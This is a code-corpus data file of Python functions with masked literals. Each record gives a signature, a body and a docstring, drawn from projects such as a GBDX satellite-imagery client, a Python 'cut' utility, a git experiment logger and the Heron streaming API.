{"signature": "def search(self, searchAreaWkt=None, filters=None, startDate=None, endDate=None, types=None):", "body": "<EOL>if not types:<EOL><INDENT>types = ['<STR_LIT>']<EOL><DEDENT>if startDate:<EOL><INDENT>startDateTime = datetime.datetime.strptime(startDate, '<STR_LIT>')<EOL><DEDENT>if endDate:<EOL><INDENT>endDateTime = datetime.datetime.strptime(endDate, '<STR_LIT>')<EOL><DEDENT>if startDate and endDate:<EOL><INDENT>diff = endDateTime - startDateTime<EOL>if diff.days < <NUM_LIT:0>:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>postdata = {<EOL>\"<STR_LIT>\": searchAreaWkt,<EOL>\"<STR_LIT>\": types,<EOL>\"<STR_LIT>\": startDate,<EOL>\"<STR_LIT>\": endDate,<EOL>}<EOL>if filters:<EOL><INDENT>postdata['<STR_LIT>'] = filters<EOL><DEDENT>if searchAreaWkt:<EOL><INDENT>postdata['<STR_LIT>'] = searchAreaWkt<EOL><DEDENT>url = '<STR_LIT>' % {<EOL>'<STR_LIT>': self.base_url<EOL>}<EOL>headers = {'<STR_LIT:Content-Type>':'<STR_LIT:application/json>'}<EOL>r = self.gbdx_connection.post(url, headers=headers, data=json.dumps(postdata))<EOL>r.raise_for_status()<EOL>results = r.json()['<STR_LIT>']<EOL>return results<EOL>", "docstring": "Perform a catalog search\n\n        Args:\n            searchAreaWkt: WKT Polygon of area to search.  Optional.\n            filters: Array of filters.  Optional.  Example:\n            [\n                \"(sensorPlatformName = 'WORLDVIEW01' OR sensorPlatformName ='QUICKBIRD02')\",\n                \"cloudCover < 10\",\n                \"offNadirAngle < 10\"\n            ]\n            startDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            endDate: string.  Optional.  Example: \"2004-01-01T00:00:00.000Z\"\n            types: Array of types to search for.  Optional.  Example (and default):  [\"Acquisition\"]\n\n        Returns:\n            catalog search resultset", "id": "f7104:c0:m8"}
{"signature": "def get_most_recent_images(self, results, types=[], sensors=[], N=<NUM_LIT:1>):", "body": "if not len(results):<EOL><INDENT>return None<EOL><DEDENT>if types:<EOL><INDENT>results = [r for r in results if r['<STR_LIT:type>'] in types]<EOL><DEDENT>if sensors:<EOL><INDENT>results = [r for r in results if r['<STR_LIT>'].get('<STR_LIT>') in sensors]<EOL><DEDENT>newlist = sorted(results, key=lambda k: k['<STR_LIT>'].get('<STR_LIT>'), reverse=True)<EOL>return newlist[:N]<EOL>", "docstring": "Return the most recent image\n\n        Args:\n            results: a catalog resultset, as returned from a search\n            types: array of types you want. optional.\n            sensors: array of sensornames. optional.\n            N: number of recent images to return.  defaults to 1.\n\n        Returns:\n            single catalog item, or none if not found", "id": "f7104:c0:m9"}
{"signature": "def deprecate_module_attr(mod, deprecated):", "body": "deprecated = set(deprecated)<EOL>class Wrapper(object):<EOL><INDENT>def __getattr__(self, attr):<EOL><INDENT>if attr in deprecated:<EOL><INDENT>warnings.warn(\"<STR_LIT>\".format(attr), GBDXDeprecation)<EOL><DEDENT>return getattr(mod, attr)<EOL><DEDENT>def __setattr__(self, attr, value):<EOL><INDENT>if attr in deprecated:<EOL><INDENT>warnings.warn(\"<STR_LIT>\".format(attr), GBDXDeprecation)<EOL><DEDENT>return setattr(mod, attr, value)<EOL><DEDENT><DEDENT>return Wrapper()<EOL>", "docstring": "Return a wrapped object that warns about deprecated accesses", "id": "f7105:m1"}
{"signature": "def list(self):", "body": "r = self.gbdx_connection.get(self._base_url)<EOL>raise_for_status(r)<EOL>return r.json()['<STR_LIT>']<EOL>", "docstring": "Lists available and visible GBDX tasks.\n\n        Returns:\n            List of tasks", "id": "f7106:c0:m1"}
{"signature": "def register(self, task_json=None, json_filename=None):", "body": "if not task_json and not json_filename:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if task_json and json_filename:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>if json_filename:<EOL><INDENT>task_json = json.load(open(json_filename, '<STR_LIT:r>'))<EOL><DEDENT>r = self.gbdx_connection.post(self._base_url, json=task_json)<EOL>raise_for_status(r)<EOL>return r.text<EOL>", "docstring": "Registers a new GBDX task.\n\n        Args:\n            task_json (dict): Dictionary representing task definition.\n            json_filename (str): A full path of a file with json representing the task definition.\n            Only one out of task_json and json_filename should be provided.\n        Returns:\n            Response (str).", "id": "f7106:c0:m2"}
{"signature": "def get_definition(self, task_name):", "body": "r = self.gbdx_connection.get(self._base_url + '<STR_LIT:/>' + task_name)<EOL>raise_for_status(r)<EOL>return r.json()<EOL>", "docstring": "Gets definition of a registered GBDX task.\n\n        Args:\n            task_name (str): Task name.\n\n        Returns:\n            Dictionary representing the task definition.", "id": "f7106:c0:m3"}
{"signature": "def delete(self, task_name):", "body": "r = self.gbdx_connection.delete(self._base_url + '<STR_LIT:/>' + task_name)<EOL>raise_for_status(r)<EOL>return r.text<EOL>", "docstring": "Deletes a GBDX task.\n\n        Args:\n            task_name (str): Task name.\n\n        Returns:\n            Response (str).", "id": "f7106:c0:m4"}
{"signature": "def update(self, task_name, task_json):", "body": "r = self.gbdx_connection.put(self._base_url + '<STR_LIT:/>' + task_name, json=task_json)<EOL>raise_for_status(r)<EOL>return r.json()<EOL>", "docstring": "Updates a GBDX task.\n\n        Args:\n            task_name (str): Task name.\n            task_json (dict): Dictionary representing updated task definition.\n\n        Returns:\n            Dictionary representing the updated task definition.", "id": "f7106:c0:m5"}
{"signature": "def _layer_def(self, style):", "body": "raise NotImplementedError()<EOL>", "docstring": "Constructs a layer def with the proper fields\n            - implemented in subclasses\n\n            Returns:\n                layer (dict): a layer json dict used for adding to maps", "id": "f7107:c0:m1"}
{"signature": "def _datasource_def(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Constructs a datasource def appropriate for the layer type\n            - implemented in subclasses\n\n            Returns\n                datasource (dict): a datasource json dict used for adding data to maps", "id": "f7107:c0:m2"}
{"signature": "@property<EOL><INDENT>def datasource(self):<DEDENT>", "body": "return {'<STR_LIT:id>': self.source_id, '<STR_LIT:data>': self._datasource_def()}<EOL>", "docstring": "Renders the datasource to add to the map, referenced by the layers\n            created by this layer instance.\n\n            Returns:\n                datasource (dict): a datasource json dict used for adding data to maps", "id": "f7107:c0:m3"}
{"signature": "@property<EOL><INDENT>def layers(self):<DEDENT>", "body": "layers = [self._layer_def(style) for style in self.styles]<EOL>return layers<EOL>", "docstring": "Renders the list of layers to add to the map.\n\n            Returns:\n                layers (list): list of layer entries suitable for use in mapbox-gl 'map.addLayer()' call", "id": "f7107:c0:m4"}
{"signature": "@contextlib.contextmanager<EOL><INDENT>def assertWarns(self, warning, *args, **kwargs):<DEDENT>", "body": "original_filters = warnings.filters[:]<EOL>warnings.simplefilter('<STR_LIT:error>')<EOL>if len(args) == <NUM_LIT:0> and len(kwargs) == <NUM_LIT:0>:<EOL><INDENT>with self.assertRaises(warning):<EOL><INDENT>yield<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.assertRaises(warning, *args, **kwargs)<EOL><DEDENT>warnings.filters = original_filters<EOL>", "docstring": "A test that checks if a specified wanring was raised", "id": "f7142:c0:m1"}
{"signature": "def sample_out1():", "body": "return \"<STR_LIT>\"<EOL>", "docstring": "cuts -f 1,-1 -d", "id": "f7162:m1"}
{"signature": "def line(self, line):", "body": "return line.rstrip()<EOL>", "docstring": "Returns string with trailing whitespace characters removed\n\n        Argument:\n            line - Input line to cut", "id": "f7163:c0:m1"}
{"signature": "def line(self, line):", "body": "return line<EOL>", "docstring": "Returns line untouched, expected to be byte array.\n\n        Argument:\n            line - Input line to cut", "id": "f7164:c0:m1"}
{"signature": "def _usage(prog_name=os.path.basename(sys.argv[<NUM_LIT:0>])):", "body": "spacer = '<STR_LIT:U+0020>' * len('<STR_LIT>')<EOL>usage = prog_name + '<STR_LIT>'+ spacer + prog_name + '<STR_LIT>'+ spacer + prog_name+ '<STR_LIT>'<EOL>return \"<STR_LIT>\" + usage.rstrip()<EOL>", "docstring": "Returns usage string with no trailing whitespace.", "id": "f7165:m0"}
{"signature": "def lst(comma_list):", "body": "return comma_list.split(\"<STR_LIT:U+002C>\")<EOL>", "docstring": "Takes a string l and returns list split by comma\n\n    Used to take comma delimited list from command line argument, and store\n    python list when parsing via argparser.\n\n    Example:\n    >>>lst(\"1,2,3,4\")\n    [1,2,3,4]", "id": "f7165:m1"}
{"signature": "def _parse_args(args):", "body": "<EOL>parser = argparse.ArgumentParser(description=\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\",<EOL>usage=_usage()[len('<STR_LIT>'):])<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store>', type=lst, default=[],<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT:-c>', \"<STR_LIT>\", action='<STR_LIT:store>', type=lst, default=[],<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store>', type=lst, default=[],<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store>', default=\"<STR_LIT:\\t>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store_true>',<EOL>help='<STR_LIT>'+<EOL>'<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', '<STR_LIT>', action='<STR_LIT:store_true>',<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT>', \"<STR_LIT>\", action='<STR_LIT:store>', default=\"<STR_LIT:\\t>\",<EOL>help=\"<STR_LIT>\")<EOL>parser.add_argument('<STR_LIT:file>', nargs='<STR_LIT:*>', default=\"<STR_LIT:->\",<EOL>help=\"<STR_LIT>\")<EOL>return parser.parse_args(args)<EOL>", "docstring": "Setup argparser to process arguments and generate help", "id": "f7165:m2"}
{"signature": "def main(args=sys.argv[<NUM_LIT:1>:]):", "body": "if not args:<EOL><INDENT>sys.stderr.write(_usage() + '<STR_LIT:\\n>')<EOL>sys.exit(<NUM_LIT:4>)<EOL><DEDENT>else:<EOL><INDENT>parsed = _parse_args(args)<EOL><DEDENT>delim = parsed.delimiter if parsed.regex else re.escape(parsed.delimiter)<EOL>num_cutters = <NUM_LIT:0><EOL>read_mode = '<STR_LIT:r>'<EOL>if parsed.bytes:<EOL><INDENT>positions = parsed.bytes<EOL>cutter = ByteCutter(positions)<EOL>num_cutters += <NUM_LIT:1><EOL>read_mode = '<STR_LIT:rb>'<EOL><DEDENT>if parsed.chars:<EOL><INDENT>positions = parsed.chars<EOL>cutter = CharCutter(positions)<EOL>num_cutters += <NUM_LIT:1><EOL><DEDENT>if parsed.fields:<EOL><INDENT>positions = parsed.fields<EOL>cutter = FieldCutter(positions, delim, parsed.separator)<EOL>num_cutters += <NUM_LIT:1><EOL><DEDENT>if num_cutters > <NUM_LIT:1>:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL>sys.stderr.write(_usage() + '<STR_LIT:\\n>')<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if [n for n in positions if re.search(\"<STR_LIT>\", n)]:<EOL><INDENT>sys.stderr.write('<STR_LIT>')<EOL>sys.stderr.write(_usage() + '<STR_LIT:\\n>')<EOL>sys.exit(<NUM_LIT:2>)<EOL><DEDENT>try:<EOL><INDENT>for line in fileinput.input(parsed.file, mode=read_mode):<EOL><INDENT>if parsed.skip and not re.search(parsed.delimiter, line):<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>print(cutter.cut(line))<EOL><DEDENT><DEDENT><DEDENT>except IOError:<EOL><INDENT>sys.stderr.write('<STR_LIT>' + fileinput.filename()<EOL>+ '<STR_LIT>')<EOL>sys.exit(<NUM_LIT:3>)<EOL><DEDENT>fileinput.close()<EOL>", "docstring": "Processes command line arguments and file i/o", "id": "f7165:m3"}
{"signature": "def line(self, line):", "body": "<EOL>return [x for x in re.split(self.delimiter, line.rstrip()) if x != '<STR_LIT>']<EOL>", "docstring": "Returns list of strings split by input delimeter\n\n        Argument:\n        line - Input line to cut", "id": "f7166:c0:m1"}
{"signature": "def group_val(group):", "body": "if group:<EOL><INDENT>return int(group)<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Returns value of regular expression group, if valid. 0 if not\n\n    Argument:\n        group - group to get value of", "id": "f7168:m0"}
{"signature": "def _setup_index(index):", "body": "index = int(index)<EOL>if index > <NUM_LIT:0>:<EOL><INDENT>index -= <NUM_LIT:1><EOL><DEDENT>elif index == <NUM_LIT:0>:<EOL><INDENT>raise ValueError<EOL><DEDENT>return index<EOL>", "docstring": "Shifts indicies as needed to account for one based indexing\n\n    Positive indicies need to be reduced by one to match with zero based\n    indexing.\n\n    Zero is not a valid input, and as such will throw a value error.\n\n    Arguments:\n        index -     index to shift", "id": "f7168:m1"}
{"signature": "@abc.abstractmethod<EOL><INDENT>def line(self, line):<DEDENT>", "body": "", "docstring": "Returns prepared line for cutting", "id": "f7168:c0:m1"}
{"signature": "def cut(self, line):", "body": "result = []<EOL>line = self.line(line)<EOL>for i, field in enumerate(self.positions):<EOL><INDENT>try:<EOL><INDENT>index = _setup_index(field)<EOL>try:<EOL><INDENT>result += line[index]<EOL><DEDENT>except IndexError:<EOL><INDENT>result.append(self.invalid_pos)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>result.append(str(field))<EOL><DEDENT>except TypeError:<EOL><INDENT>result.extend(self._cut_range(line, int(field[<NUM_LIT:0>]), i))<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(result)<EOL>", "docstring": "Returns selected positions from cut input source in desired\n        arrangement.\n\n        Argument:\n            line -      input to cut", "id": "f7168:c0:m2"}
{"signature": "def _setup_positions(self, positions):", "body": "updated_positions = []<EOL>for i, position in enumerate(positions):<EOL><INDENT>ranger = re.search(r'<STR_LIT>', position)<EOL>if ranger:<EOL><INDENT>if i > <NUM_LIT:0>:<EOL><INDENT>updated_positions.append(self.separator)<EOL><DEDENT>start = group_val(ranger.group('<STR_LIT:start>'))<EOL>end = group_val(ranger.group('<STR_LIT:end>'))<EOL>if start and end:<EOL><INDENT>updated_positions.extend(self._extendrange(start, end + <NUM_LIT:1>))<EOL><DEDENT>elif ranger.group('<STR_LIT:start>'):<EOL><INDENT>updated_positions.append([start])<EOL><DEDENT>else:<EOL><INDENT>updated_positions.extend(self._extendrange(<NUM_LIT:1>, end + <NUM_LIT:1>))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>updated_positions.append(positions[i])<EOL>try:<EOL><INDENT>if int(position) and int(positions[i+<NUM_LIT:1>]):<EOL><INDENT>updated_positions.append(self.separator)<EOL><DEDENT><DEDENT>except (ValueError, IndexError):<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return updated_positions<EOL>", "docstring": "Processes positions to account for ranges\n\n        Arguments:\n            positions -     list of positions and/or ranges to process", "id": "f7168:c0:m3"}
{"signature": "def _cut_range(self, line, start, current_position):", "body": "result = []<EOL>try:<EOL><INDENT>for j in range(start, len(line)):<EOL><INDENT>index = _setup_index(j)<EOL>try:<EOL><INDENT>result.append(line[index])<EOL><DEDENT>except IndexError:<EOL><INDENT>result.append(self.invalid_pos)<EOL><DEDENT>finally:<EOL><INDENT>result.append(self.separator)<EOL><DEDENT><DEDENT>result.append(line[-<NUM_LIT:1>])<EOL><DEDENT>except IndexError:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>int(self.positions[current_position+<NUM_LIT:1>])<EOL>result.append(self.separator)<EOL><DEDENT>except (ValueError, IndexError):<EOL><INDENT>pass<EOL><DEDENT>return result<EOL>", "docstring": "Performs cut for range from start position to end\n\n        Arguments:\n            line -              input to cut\n            start -             start of range\n            current_position -  current position in main cut function", "id": "f7168:c0:m4"}
{"signature": "def _extendrange(self, start, end):", "body": "range_positions = []<EOL>for i in range(start, end):<EOL><INDENT>if i != <NUM_LIT:0>:<EOL><INDENT>range_positions.append(str(i))<EOL><DEDENT>if i < end:<EOL><INDENT>range_positions.append(self.separator)<EOL><DEDENT><DEDENT>return range_positions<EOL>", "docstring": "Creates list of values in a range with output delimiters.\n\n        Arguments:\n            start -     range start\n            end -       range end", "id": "f7168:c0:m5"}
{"signature": "def experiment_data(self, commit=None, must_contain_results=False):", "body": "results = {}<EOL>for tag in self.__repository.tags:<EOL><INDENT>if not tag.name.startswith(self.__tag_prefix):<EOL><INDENT>continue<EOL><DEDENT>data = json.loads(tag.tag.message)<EOL>if \"<STR_LIT>\" not in data and must_contain_results:<EOL><INDENT>continue<EOL><DEDENT>if commit is not None and tag.tag.object.hexsha != name_to_object(self.__repository, commit).hexsha:<EOL><INDENT>continue<EOL><DEDENT>results[tag.name] = data<EOL><DEDENT>return results<EOL>", "docstring": ":param commit: the commit that all the experiments should have happened or None to include all\n:type commit: str\n:param must_contain_results: include only tags that contain results\n:type must_contain_results: bool\n:return: all the experiment data\n:rtype: dict", "id": "f7171:c0:m1"}
{"signature": "def delete(self, experiment_name):", "body": "if not experiment_name.startswith(self.__tag_prefix):<EOL><INDENT>target_tag = self.__tag_prefix + experiment_name<EOL><DEDENT>else:<EOL><INDENT>target_tag = experiment_name<EOL><DEDENT>if target_tag not in [t.name for t in self.__repository.tags]:<EOL><INDENT>return False<EOL><DEDENT>self.__repository.delete_tag(target_tag)<EOL>return target_tag not in [t.name for t in self.__repository.tags]<EOL>", "docstring": "Delete an experiment by removing the associated tag.\n:param experiment_name: the name of the experiment to be deleted\n:type experiment_name: str\n:rtype bool\n:return if deleting succeeded", "id": "f7171:c0:m2"}
{"signature": "def update_remote(self, remote_name=None):", "body": "raise NotImplemented()<EOL>", "docstring": "Update the (default) remote by pushing the tags and removing (deleted) tags. TODO: is this last thing possible?\n:return:", "id": "f7171:c0:m3"}
{"signature": "def __init__(self, name, parameters, directory=\"<STR_LIT:.>\", tag_prefix=\"<STR_LIT>\", description=None):", "body": "<EOL>self.__experiment_name = name + \"<STR_LIT:@>\" + time.strftime(\"<STR_LIT>\") + '<STR_LIT:.>' + str(random.randint(<NUM_LIT:0>, <NUM_LIT:100>))<EOL>self.__results_recorded = False<EOL>self.__repository_directory = directory<EOL>if tag_prefix[-<NUM_LIT:1>] != '<STR_LIT:/>':<EOL><INDENT>tag_prefix += '<STR_LIT:/>'<EOL><DEDENT>self.__tag_name = tag_prefix + self.__experiment_name<EOL>self.__parameters = parameters<EOL>self.__description = description<EOL>", "docstring": "Start logging a new experiment.\n:param name: the name of the experiment\n:type name: str\n:param parameters: a dictionary with all the parameters of the experiment.\n:type parameters: dict\n:param directory: a string of the directory of the git repository, where the experiment will be logged.\n:type directory: str\n:param tag_prefix: the prefix of the \"folder\" where the experiment-related tags will be placed\n:type tag_prefix: str", "id": "f7172:c0:m0"}
{"signature": "def record_results(self, results):", "body": "repository = Repo(self.__repository_directory, search_parent_directories=True)<EOL>for tag in repository.tags:<EOL><INDENT>if tag.name == self.__tag_name:<EOL><INDENT>tag_object = tag<EOL>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>data = json.loads(tag_object.tag.message)<EOL>data[\"<STR_LIT>\"] = results<EOL>TagReference.create(repository, self.__tag_name, message=json.dumps(data),<EOL>ref=tag_object.tag.object, force=True)<EOL>self.__results_recorded = True<EOL>", "docstring": "Record the results of this experiment, by updating the tag.\n:param results: A dictionary containing the results of the experiment.\n:type results: dict", "id": "f7172:c0:m3"}
{"signature": "def record_results_and_push(self, results, remote_name='<STR_LIT>'):", "body": "<EOL>raise NotImplemented()<EOL>", "docstring": "Record the results of this experiment, by updating the tag and push to remote\n:param results:  A dictionary containing the results of the experiment.\n:type results: dict\n:param remote_name: the name of the remote to push the tags (or None for the default)\n:type remote_name: str", "id": "f7172:c0:m4"}
{"signature": "def __tag_repo(self, data, repository):", "body": "assert self.__tag_name not in [t.name for t in repository.tags]<EOL>return TagReference.create(repository, self.__tag_name, message=json.dumps(data))<EOL>", "docstring": "Tag the current repository.\n:param data: a dictionary containing the data about the experiment\n:type data: dict", "id": "f7172:c0:m6"}
{"signature": "def __get_files_to_be_added(self, repository):", "body": "for root, dirs, files in os.walk(repository.working_dir):<EOL><INDENT>for f in files:<EOL><INDENT>relative_path = os.path.join(root, f)[len(repository.working_dir) + <NUM_LIT:1>:]<EOL>try:<EOL><INDENT>repository.head.commit.tree[relative_path] <EOL>yield relative_path<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": ":return: the files that have been modified and can be added", "id": "f7172:c0:m7"}
{"signature": "def __start_experiment(self, parameters):", "body": "repository = Repo(self.__repository_directory, search_parent_directories=True)<EOL>if len(repository.untracked_files) > <NUM_LIT:0>:<EOL><INDENT>logging.warning(\"<STR_LIT>\", repository.untracked_files)<EOL><DEDENT>current_commit = repository.head.commit<EOL>started_state_is_dirty = repository.is_dirty()<EOL>if started_state_is_dirty:<EOL><INDENT>repository.index.add([p for p in self.__get_files_to_be_added(repository)])<EOL>commit_obj = repository.index.commit(\"<STR_LIT>\" + self.__experiment_name)<EOL>sha = commit_obj.hexsha<EOL><DEDENT>else:<EOL><INDENT>sha = repository.head.object.hexsha<EOL><DEDENT>data = {\"<STR_LIT>\": parameters, \"<STR_LIT>\": time.time(), \"<STR_LIT:description>\": self.__description,<EOL>\"<STR_LIT>\": sha}<EOL>tag_object = self.__tag_repo(data, repository)<EOL>if started_state_is_dirty:<EOL><INDENT>repository.head.reset(current_commit, working_tree=False, index=True)<EOL><DEDENT>return tag_object<EOL>", "docstring": "Start an experiment by capturing the state of the code\n:param parameters: a dictionary containing the parameters of the experiment\n:type parameters: dict\n:return: the tag representing this experiment\n:rtype: TagReference", "id": "f7172:c0:m8"}
{"signature": "def dereference_symlinks(src):", "body": "while os.path.islink(src):<EOL><INDENT>src = os.path.join(os.path.dirname(src), os.readlink(src))<EOL><DEDENT>return src<EOL>", "docstring": "Resolve all symbolic references that `src` points to.  Note that this\nis different than `os.path.realpath` as path components leading up to\nthe final location may still be symbolic links.", "id": "f7175:m0"}
{"signature": "def parse_manifest(manifest_text):", "body": "return json.loads(manifest_text)<EOL>", "docstring": "Parse a json manifest.\n\n    Manifest format:\n      {\n        \"modules\": [ {\"src\": \"path_on_disk\", \"dest\": \"path_in_pex\"}, ... ],\n        \"resources\": [ {\"src\": \"path_on_disk\", \"dest\": \"path_in_pex\"}, ... ],\n        \"prebuiltLibraries\": [ \"path1\", \"path2\", ... ],\n        \"requirements\": [ \"thing1\", \"thing2==version\", ... ],\n      }", "id": "f7175:m1"}
{"signature": "def setup(self, context):", "body": "myindex = context.get_partition_index()<EOL>self._files_to_consume = self._files[myindex::context.get_num_partitions()]<EOL>self.logger.info(\"<STR_LIT>\" % self._files_to_consume)<EOL>self._lines_to_consume = self._get_next_lines()<EOL>self._emit_count = <NUM_LIT:0><EOL>", "docstring": "Implements TextFile Generator's setup method", "id": "f7182:c0:m1"}
{"signature": "def initialize(self, config, context):", "body": "self.logger.info(\"<STR_LIT>\")<EOL>self.logger.info(\"<STR_LIT>\" % str(config))<EOL>self.logger.info(\"<STR_LIT>\" % str(context))<EOL>self.emit_count = <NUM_LIT:0><EOL>self.ack_count = <NUM_LIT:0><EOL>self.fail_count = <NUM_LIT:0><EOL>if not PulsarSpout.serviceUrl in config or not PulsarSpout.topicName in config:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\")<EOL><DEDENT>self.pulsar_cluster = str(config[PulsarSpout.serviceUrl])<EOL>self.topic = str(config[PulsarSpout.topicName])<EOL>mode = config[api_constants.TOPOLOGY_RELIABILITY_MODE]<EOL>if mode == api_constants.TopologyReliabilityMode.ATLEAST_ONCE:<EOL><INDENT>self.acking_timeout = <NUM_LIT:1000> * int(config[api_constants.TOPOLOGY_MESSAGE_TIMEOUT_SECS])<EOL><DEDENT>else:<EOL><INDENT>self.acking_timeout = <NUM_LIT><EOL><DEDENT>if PulsarSpout.receiveTimeoutMs in config:<EOL><INDENT>self.receive_timeout_ms = config[PulsarSpout.receiveTimeoutMs]<EOL><DEDENT>else:<EOL><INDENT>self.receive_timeout_ms = <NUM_LIT:10><EOL><DEDENT>if PulsarSpout.deserializer in config:<EOL><INDENT>self.deserializer = config[PulsarSpout.deserializer]<EOL>if not callable(self.deserializer):<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.deserializer = self.default_deserializer<EOL><DEDENT>self.logConfFileName = GenerateLogConfig(context)<EOL>self.logger.info(\"<STR_LIT>\" % self.logConfFileName)<EOL>self.client = pulsar.Client(self.pulsar_cluster, log_conf_file_path=self.logConfFileName)<EOL>self.logger.info(\"<STR_LIT>\" % self.pulsar_cluster)<EOL>try:<EOL><INDENT>self.consumer = self.client.subscribe(self.topic, context.get_topology_name(),<EOL>consumer_type=pulsar.ConsumerType.Failover,<EOL>unacked_messages_timeout_ms=self.acking_timeout)<EOL><DEDENT>except Exception as e:<EOL><INDENT>self.logger.fatal(\"<STR_LIT>\" % str(e))<EOL><DEDENT>self.logger.info(\"<STR_LIT>\" % self.topic)<EOL>", "docstring": "Implements Pulsar Spout's initialize method", "id": "f7183:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def setup(self, context):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Called when a task for this operator is initialized within a worker on the cluster\n\n        It provides the operator with the environment in which the bolt executes.\n        Note that ``__init__()`` should not be overriden for initialization of a bolt, as it is used\n        internally by BaseBolt; instead, ``initialize()`` should be used to initialize any custom\n        variables or connection to databases.\n\n        :type context: :class:`Context`\n        :param context: This object can be used to get information about this task's place within the\n                        topology, including the task id and component id of this task, input and output\n                        information, etc.\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**", "id": "f7187:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def transform(self, tup):<DEDENT>", "body": "raise NotImplementedError(\"<STR_LIT>\")<EOL>", "docstring": "Process a single tuple of input\n\n        The Tuple object contains metadata on it about which component/stream/task it came from.\n        To emit a tuple, call ``context.emit(tuple)``.\n\n        **Must be implemented by a subclass, otherwise NotImplementedError is raised.**\n\n        :type tup: :class:`Tuple`\n        :param tup: Tuple to process", "id": "f7187:c0:m1"}
{"signature": "def new_source(self, source):", "body": "source_streamlet = None<EOL>if callable(source):<EOL><INDENT>source_streamlet = SupplierStreamlet(source)<EOL><DEDENT>elif isinstance(source, Generator):<EOL><INDENT>source_streamlet = GeneratorStreamlet(source)<EOL><DEDENT>else:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>self._sources.append(source_streamlet)<EOL>return source_streamlet<EOL>", "docstring": "Adds a new source to the computation DAG", "id": "f7190:c0:m1"}
{"signature": "def build(self, bldr):", "body": "stage_names = sets.Set()<EOL>for source in self._sources:<EOL><INDENT>source._build(bldr, stage_names)<EOL><DEDENT>for source in self._sources:<EOL><INDENT>if not source._all_built():<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Builds the topology and returns the builder", "id": "f7190:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def get_task_id(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Fetches the task id of the current instance of the operator", "id": "f7192:c0:m0"}
{"signature": "@abstractmethod<EOL><INDENT>def get_config(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Fetches the config of the computation", "id": "f7192:c0:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def get_stream_name(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Fetches the stream name that we are operating on", "id": "f7192:c0:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def get_num_partitions(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Fetches the number of partitions of the stream we are operating on", "id": "f7192:c0:m3"}
{"signature": "def get_partition_index(self):", "body": "pass<EOL>", "docstring": "Fetches the partition of the stream that we are operating on", "id": "f7192:c0:m4"}
{"signature": "@abstractmethod<EOL><INDENT>def get_state(self):<DEDENT>", "body": "pass<EOL>", "docstring": "The state where components can store any of their local state", "id": "f7192:c0:m5"}
{"signature": "@abstractmethod<EOL><INDENT>def emit(self, values):<DEDENT>", "body": "pass<EOL>", "docstring": "Emits the values in the output stream", "id": "f7192:c0:m6"}
{"signature": "def set_name(self, name):", "body": "self._name = name<EOL>return self<EOL>", "docstring": "Sets the name of the Streamlet", "id": "f7194:c0:m1"}
{"signature": "def set_num_partitions(self, num_partitions):", "body": "self._num_partitions = num_partitions<EOL>return self<EOL>", "docstring": "Sets the number of partitions", "id": "f7194:c0:m3"}
{"signature": "def map(self, map_function):", "body": "from heronpy.streamlet.impl.mapbolt import MapStreamlet<EOL>map_streamlet = MapStreamlet(map_function, self)<EOL>self._add_child(map_streamlet)<EOL>return map_streamlet<EOL>", "docstring": "Return a new Streamlet by applying map_function to each element of this Streamlet.", "id": "f7194:c0:m5"}
{"signature": "def flat_map(self, flatmap_function):", "body": "from heronpy.streamlet.impl.flatmapbolt import FlatMapStreamlet<EOL>fm_streamlet = FlatMapStreamlet(flatmap_function, self)<EOL>self._add_child(fm_streamlet)<EOL>return fm_streamlet<EOL>", "docstring": "Return a new Streamlet by applying map_function to each element of this Streamlet\n           and flattening the result", "id": "f7194:c0:m6"}
